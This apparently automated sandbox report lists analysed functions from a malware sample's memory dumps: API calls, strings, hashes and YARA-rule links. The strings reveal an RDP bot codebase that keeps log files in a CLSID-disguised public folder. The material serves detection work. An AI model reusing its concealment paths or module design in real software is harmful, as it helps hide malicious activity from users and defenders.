Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen
String ID: .applied$????-pat$pkg$tch.pkg$update.p
API String ID: 39653677-1686225151
Opcode ID: 90beea7e8383602f11ba928d37b552c868a860ea5da908b62ebdf329eea09240
Instruction ID: 24d4d8d38a09263298cfe3f6192e40555793881f570d41a74a67a7e95d983265
Opcode Fuzzy Hash: 90beea7e8383602f11ba928d37b552c868a860ea5da908b62ebdf329eea09240
Instruction Fuzzy Hash: 68212D1290FB43C9FB257A15A81437D9E904F55BD8FC64070DD4D0B7B2DE2CE8568B61

Function 00007FFB22769DC2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB22769E6E
fflush.MSVCRT ref: 00007FFB22769E7A
EnterCriticalSection.KERNEL32 ref: 00007FFB22769E93
LeaveCriticalSection.KERNEL32 ref: 00007FFB22769EBB
CopyFileA.KERNEL32 ref: 00007FFB22769F18

Strings

1, xrefs: 00007FFB22769F02
., xrefs: 00007FFB22769EFD
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FFB22769EDB

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log
API String ID: 513531256-2601447032
Opcode ID: 8a32dd43e7cb6b0607ee505daca8f6ab7bb6e5ec61a53d347284f3871c123f46
Instruction ID: ec7eba29596c59845d2c630f20f55a405f19ac20937ed7ac9db013b33feba921
Opcode Fuzzy Hash: 8a32dd43e7cb6b0607ee505daca8f6ab7bb6e5ec61a53d347284f3871c123f46
Instruction Fuzzy Hash: 86415BB2E0C6C186F7329B75ED503B96291BB8A780F400039DA4DD76B6CFADE985C705

Function 00007FFB23AB2072 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB23AB211E
fflush.MSVCRT ref: 00007FFB23AB212A
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB2143
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB216B
CopyFileA.KERNEL32 ref: 00007FFB23AB21C8

Strings

1, xrefs: 00007FFB23AB21B2
., xrefs: 00007FFB23AB21AD
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FFB23AB218B

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log
API String ID: 513531256-1680544107
Opcode ID: 15fcd58cd3eb7583ee134ce5694752740e5871d12bbf076c924059a10169c031
Instruction ID: a352cd4d9f8634401e9838c43943f63e8c26f950c3d63abdbde572f294837968
Opcode Fuzzy Hash: 15fcd58cd3eb7583ee134ce5694752740e5871d12bbf076c924059a10169c031
Instruction Fuzzy Hash: 894180B1A0C6C145F7229B20FC547AE6396BB9AB80F4C45B1DA0E677A9CF3CE5818744

Function 00007FFB23B077A2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB23B0784E
fflush.MSVCRT ref: 00007FFB23B0785A
EnterCriticalSection.KERNEL32 ref: 00007FFB23B07873
LeaveCriticalSection.KERNEL32 ref: 00007FFB23B0789B
CopyFileA.KERNEL32 ref: 00007FFB23B078F8

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FFB23B078BB
1, xrefs: 00007FFB23B078E2
., xrefs: 00007FFB23B078DD

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log
API String ID: 513531256-3034662401
Opcode ID: 9f3f7f722e393e0358d797796164f5cf8014935580b0725990df9a1c9f2d7994
Instruction ID: 3c28f99afed6d6ee0d028c4d76ea6e5bbe97e0b3f9dd33e2a14795ef0a8e6070
Opcode Fuzzy Hash: 9f3f7f722e393e0358d797796164f5cf8014935580b0725990df9a1c9f2d7994
Instruction Fuzzy Hash: 654165B9A1C6C149F3229F31EC993BDA250BB84740F880175D9CDA7795DF2CE545C740

Function 00007FFB227040D2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB2270417E
fflush.MSVCRT ref: 00007FFB2270418A
EnterCriticalSection.KERNEL32 ref: 00007FFB227041A3
LeaveCriticalSection.KERNEL32 ref: 00007FFB227041CB
CopyFileA.KERNEL32 ref: 00007FFB22704228

Strings

1, xrefs: 00007FFB22704212
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FFB227041EB
., xrefs: 00007FFB2270420D

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log
API String ID: 513531256-2115573132
Opcode ID: 0865605239ea0c2a81fc5edc76914eb3e91c8f90c759d8de733d668bac4a86af
Instruction ID: 3abbe0ff49d3f1c75cc68ccaa0537fd249cbc48bbef6d58982a0beb81f4927d5
Opcode Fuzzy Hash: 0865605239ea0c2a81fc5edc76914eb3e91c8f90c759d8de733d668bac4a86af
Instruction Fuzzy Hash: 054182B1A0C6D186F326AF35EC513A96251FF96780F400131EA4DD77A5CFACEE858B00

Function 00007FFB23AD1352 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FFB23AD13FE
fflush.MSVCRT ref: 00007FFB23AD140A
EnterCriticalSection.KERNEL32 ref: 00007FFB23AD1423
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AD144B
CopyFileA.KERNEL32 ref: 00007FFB23AD14A8

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FFB23AD146B
., xrefs: 00007FFB23AD148D
1, xrefs: 00007FFB23AD1492

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log
API String ID: 513531256-2729875187
Opcode ID: e9e9dd4bf963f1553131da972aa11efafee84aa59e09e2d57e94b69456d74635
Instruction ID: 3f556a7774ac54fe8d6e7ae3dbe908be2afe6b27c69028faa9cf9f4368d5c8a1
Opcode Fuzzy Hash: e9e9dd4bf963f1553131da972aa11efafee84aa59e09e2d57e94b69456d74635
Instruction Fuzzy Hash: 804162E5A0DAC686F3229B31EC553AE2390BB96784F4800B1DA4D67795DF2CE6838700

Function 00007FFB23B08600 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FFB23B0869A
_errno.MSVCRT ref: 00007FFB23B086B8
_errno.MSVCRT ref: 00007FFB23B086C4

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23B0866B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B08680
[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FFB23B086EB
(value != NULL), xrefs: 00007FFB23B08672
ini_get_uint32, xrefs: 00007FFB23B08679, 00007FFB23B086E4

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-1670302297
Opcode ID: 1b2397839485f678ec0f3a1d9c7e17f9bdb95bff4cdc42854cb50bc83c9afe9a
Instruction ID: 1a7a6cbf8d71d6ea2bf23561420fa5a73e6dc93bd3b7f90e07a9f349a97e6395
Opcode Fuzzy Hash: 1b2397839485f678ec0f3a1d9c7e17f9bdb95bff4cdc42854cb50bc83c9afe9a
Instruction Fuzzy Hash: B52194A6A08AC696E7529F35EC857AE3360BB84794F484072EECC97B54CF3CD945C700

Function 00007FF7AABD5B79 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF7AABD5C17
GetLastError.KERNEL32 ref: 00007FF7AABD5C32

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF7AABD5BED
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF7AABD5C50
NULL, xrefs: 00007FF7AABD5D75, 00007FF7AABD5D81
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF7AABD5D9E
fs_file_copy, xrefs: 00007FF7AABD5BE6, 00007FF7AABD5C49, 00007FF7AABD5D97

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: 543ea350fa23192d5b054946d30ff439aeb2e3bb37d7e19dd14fcafb7c0235b7
Instruction ID: 2c07156ecb447af5f87d65c8e2d995921a62672f7e4e90237b10651d0dac5e0f
Opcode Fuzzy Hash: 543ea350fa23192d5b054946d30ff439aeb2e3bb37d7e19dd14fcafb7c0235b7
Instruction Fuzzy Hash: EA418361D0F61AC7FA34FB059400775E6547F10B8CED602BAD90F0A6B0EEADA6838735

Function 00007FF7AABD55AD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,?,?,00007FF7AABD6311), ref: 00007FF7AABD55C4
GetLastError.KERNEL32 ref: 00007FF7AABD561B

Strings

NULL, xrefs: 00007FF7AABD574A
[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF7AABD5630
fs_file_delete, xrefs: 00007FF7AABD55FD, 00007FF7AABD5629, 00007FF7AABD5759
[I] (%s) -> Done(path=%s), xrefs: 00007FF7AABD5760
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD5604

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: cde1f3aa83753c17a85415026754875f69a9d0e0481716f09c6b60469321574a
Instruction ID: 2282ba7d878c2e6b4e61b181c1dd0431f51ede3d548c684019d96b873fc3b6ef
Opcode Fuzzy Hash: cde1f3aa83753c17a85415026754875f69a9d0e0481716f09c6b60469321574a
Instruction Fuzzy Hash: 71310D62E0F24BC3FA71F714A54077CA1525F51358FEB06BAC91E062F2ED1DA9879322

Function 00007FFB23AB2F7D Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFB23AB2FCB
WSAGetLastError.WS2_32 ref: 00007FFB23AB2FDA

Strings

tcp_recv, xrefs: 00007FFB23AB3037
tcp_send, xrefs: 00007FFB23AB2FE6, 00007FFB23AB3017
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB23AB303E
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AB2FED
[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FFB23AB301E

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: c4431af1e5df0fa1b77c0167f00e213902285fb8cfeb12510ea4d688c219d3ff
Instruction ID: d6bf16fe3045ff4e729232e4aed18e7447fa9d6b6911b1fb8c6b4beb6eca45bf
Opcode Fuzzy Hash: c4431af1e5df0fa1b77c0167f00e213902285fb8cfeb12510ea4d688c219d3ff
Instruction Fuzzy Hash: 0621CDD1A2818281E6228735EC906BC1642AF277F9E5C03B1DC6D666EACE2DE945C300

Function 00007FFB23B01CBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFB23B01D0B
WSAGetLastError.WS2_32 ref: 00007FFB23B01D1A

Strings

[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FFB23B01D5E
tcp_send, xrefs: 00007FFB23B01D26, 00007FFB23B01D57
tcp_recv, xrefs: 00007FFB23B01D77
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23B01D2D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FFB23B01D7E

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: 5a0cdcd8f416ed66487816ec89a7f52511c8f7a9cc189daedb820147a4bc70b3
Instruction ID: fc8e6dd26f09dbb4353af06d403c11348785cd4298675adc4bb768d710a87be0
Opcode Fuzzy Hash: 5a0cdcd8f416ed66487816ec89a7f52511c8f7a9cc189daedb820147a4bc70b3
Instruction Fuzzy Hash: 5721ACDDB1859252EA264E36ED887BC52516F45BF4E5C03B1ECFC6BAD2CE2CA4068300

Function 00007FFB2273ABF4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB2273AC1C
setsockopt.WS2_32 ref: 00007FFB2273AC48
WSAGetLastError.WS2_32 ref: 00007FFB2273AC5F
WSAGetLastError.WS2_32 ref: 00007FFB2273AC84

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB2273AC76
tcp_set_timeo, xrefs: 00007FFB2273AC6F, 00007FFB2273AC94
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB2273AC9B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 563ddabfb48b2fb7adaf85913b3868276469f5da26aa7f8a09d5ab07382f0a19
Instruction ID: 0077c9263a209edd29888cd8770437ec5db1c7cef728749251ada9d4253052cf
Opcode Fuzzy Hash: 563ddabfb48b2fb7adaf85913b3868276469f5da26aa7f8a09d5ab07382f0a19
Instruction Fuzzy Hash: EB114FF1B1C58656F7129B36EC000A5A660AF8A754F104235E96EC7AB4DFBCD949CB01

Function 00007FFB22761CE4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB22761D0C
setsockopt.WS2_32 ref: 00007FFB22761D38
WSAGetLastError.WS2_32 ref: 00007FFB22761D4F
WSAGetLastError.WS2_32 ref: 00007FFB22761D74

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22761D8B
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22761D66
tcp_set_timeo, xrefs: 00007FFB22761D5F, 00007FFB22761D84

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: a21834a11399443f0de9274977709dfe95cab02b693ae6e1d22ed39eea4ac6ff
Instruction ID: 8fe9edc0b7cbe39d3be86a48df5704d508a3b79c1f5fe0fa01e7cbc5954b0de7
Opcode Fuzzy Hash: a21834a11399443f0de9274977709dfe95cab02b693ae6e1d22ed39eea4ac6ff
Instruction Fuzzy Hash: 751160B1E0C59286F361AB3AED044756660AF8A754F104231EA6DC77B4DFBCD90A8B01

Function 00007FFB23AB2604 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB23AB262C
setsockopt.WS2_32 ref: 00007FFB23AB2658
WSAGetLastError.WS2_32 ref: 00007FFB23AB266F
WSAGetLastError.WS2_32 ref: 00007FFB23AB2694

Strings

tcp_set_timeo, xrefs: 00007FFB23AB267F, 00007FFB23AB26A4
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AB26AB
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AB2686

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 8653497b7e3f6a2a250fc30739b801d90f6e2000c93844efd4fda9f66f1e3821
